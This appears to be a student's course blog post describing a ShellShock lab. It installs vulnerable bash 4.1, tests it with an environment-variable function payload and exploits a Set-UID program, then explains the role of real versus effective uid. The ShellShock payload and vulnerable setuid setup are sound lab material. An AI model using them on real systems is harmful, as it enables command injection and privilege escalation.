代码改变世界

2017-2018-1 20179226《Linux内核原理与分析》第十二周作业

2017-12-17 09:43  20179226任逸飞  阅读(182)  评论(1编辑  收藏  举报

ShellShock 攻击实验

1.进行实验所需的准备
1)下载:

sudo su 
$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz

2)安装:

$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure
$ make & make install

3)链接:

$ rm /bin/bash
$ ln -s /usr/local/bin/bash /bin/bash

4)检测是否存在shellshock漏洞:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test "
以下是实验截图:

2.攻击Set-UID程序:
1)hack过程指令如下:

$ sudo ln -sf /bin/bash /bin/sh
$ touch shock.c
$ vim shock.v
$ sudo su

2)其中shock.c中代码如下:

#include <stdio.h>
void main()
{
    setuid(geteuid()); 
    system("/bin/ls -l");
}

3)执行后结果如下:

4)如果setuid(geteuid()) 语句被去掉了,再次执行,结果则攻击失败:

就是因为上述那一行判断逻辑导致了两者的不同,primode即私有模式,要求real uid 与 effective uid保持一致。对比两次攻击结果,思考是什么导致的攻击结果的改变呢?这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个uid不同的话,环境变量失效,就无法发动攻击了。